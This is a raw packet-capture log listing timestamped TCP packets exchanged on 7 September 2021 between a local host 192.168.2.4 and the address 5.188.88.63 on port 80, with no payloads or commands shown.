Sep 7, 2021 16:02:56.484363079 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.484380007 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.484407902 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.484443903 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.493134975 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.493163109 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.493175030 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.493186951 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.493199110 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.493217945 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.493231058 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.493246078 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.493257999 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.493271112 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.493283033 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.493295908 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.493299007 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.493325949 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.493340015 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.493350029 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.493356943 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.493374109 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.493391037 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.493403912 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.493411064 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.493428946 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.493437052 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.493446112 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.493462086 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.493470907 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.493479013 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.493494034 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.493501902 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.493510962 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.493526936 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.493546009 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.493546963 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.493565083 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.493580103 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.493590117 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.493597984 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.493611097 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.493630886 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.493640900 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.493649006 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.493664980 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.493679047 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.493681908 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.493697882 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.493710041 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.493710041 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.493727922 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.493741035 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.493743896 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.493762016 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.493774891 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.493777037 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.493788958 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.493805885 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.493813992 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.493825912 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.493839025 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.493844032 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.493860960 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.493870020 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.493876934 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.493892908 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.493900061 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.493907928 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.493921041 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.493925095 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.493936062 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.493957996 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.493966103 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.493976116 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.493993044 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.493997097 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.494005919 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.494019032 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.494105101 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.494270086 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.494287968 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.494302988 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.494319916 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.494327068 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.494337082 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.494353056 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.494355917 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.494369030 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.494380951 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.494380951 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.494393110 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.494405031 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.494420052 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.494421959 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.494437933 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.494450092 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.494457006 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.494494915 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.496757984 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.503567934 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.503829002 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.503897905 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.508769035 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.537307024 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.537328005 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.537434101 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.549504995 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.549526930 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.549539089 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.549595118 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.550146103 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.550240040 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.559453964 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.559477091 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.559537888 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.559557915 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.559823036 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.559840918 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.559900045 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.559998989 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.560017109 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.560033083 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.560048103 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.560064077 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.560072899 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.560080051 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.560098886 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.560105085 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.560116053 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.560132027 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.560137987 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.560184956 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.560389996 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.560408115 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.560422897 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.560439110 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.560456038 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.560456991 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.560494900 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.560590982 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.560607910 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.560623884 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.560640097 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.560642004 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.560659885 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.560688972 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.560689926 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.560703039 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.560719967 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.560728073 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.560731888 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.560745001 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.560789108 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.561006069 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.561023951 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.561039925 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.561055899 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.561065912 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.561104059 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.561196089 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.561216116 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.561233997 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.561244965 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.561249018 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.561264038 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.561280012 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.561285973 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.561295033 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.561311007 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.561316967 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.561326027 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.561345100 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.561347008 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.561362028 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.561373949 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.561407089 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.561630964 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.561649084 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.561665058 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.561705112 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.561810017 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.561827898 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.561846018 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.561857939 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.561861992 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.561877966 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.561887026 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.561892986 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.561908960 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.561918020 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.561924934 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.561944008 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.561948061 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.561985016 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.562047005 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.562220097 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.562237024 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.562252045 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.562287092 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.562314987 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.562388897 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.562407017 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.562422037 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.562438011 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.562453032 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.562453032 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.562472105 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.562489033 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.562498093 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.562505007 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.562513113 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.562549114 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.570100069 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.570122004 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.570135117 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.570193052 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.587512970 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.602514982 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.602536917 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.602642059 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.614387989 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.614420891 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.614434958 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.614454031 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.614486933 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.614514112 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.615303040 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.617799044 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.628778934 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.628839970 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.628897905 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.628907919 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.628940105 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.628962994 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.628978968 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.629009008 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.629040003 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.629059076 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.629074097 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.629093885 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.629112005 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.629146099 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.629173994 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.629192114 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.629208088 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.629225969 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.629242897 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.629275084 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.629314899 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.629369020 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.629432917 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.629475117 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.629496098 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.629514933 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.629515886 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.629573107 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.629626989 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.629673004 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.629682064 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.629726887 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.629730940 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.629765034 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.629806995 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.629852057 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.629873037 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.629914045 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.629916906 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.629951000 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.629995108 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.630026102 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.630044937 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.630062103 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.630081892 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.630101919 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.630136967 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.630170107 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.630188942 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.630207062 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.630227089 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.630244017 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.631521940 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.631551027 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.631570101 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.631570101 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.631598949 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.631724119 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.631745100 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.631784916 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.631822109 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.631876945 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.631882906 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.631911039 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.631934881 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.631957054 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.631979942 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.631979942 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.632004976 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.632009029 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.632030964 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.632047892 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.632054090 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.632076979 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.632098913 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.632117987 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.632117987 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.632139921 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.632152081 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.632160902 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.632181883 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.632191896 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.632206917 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.632222891 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.632232904 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.632256031 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.632273912 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.632278919 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.632302046 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.632319927 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.632323980 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.632347107 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.632366896 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.632370949 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.632396936 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.632400036 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.632421017 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.632443905 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.632466078 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.632468939 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.632488966 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.632498980 CEST	49763	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:56.632513046 CEST	80	49763	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:56.632559061 CEST	49763	80	192.168.2.4	5.188.88.63
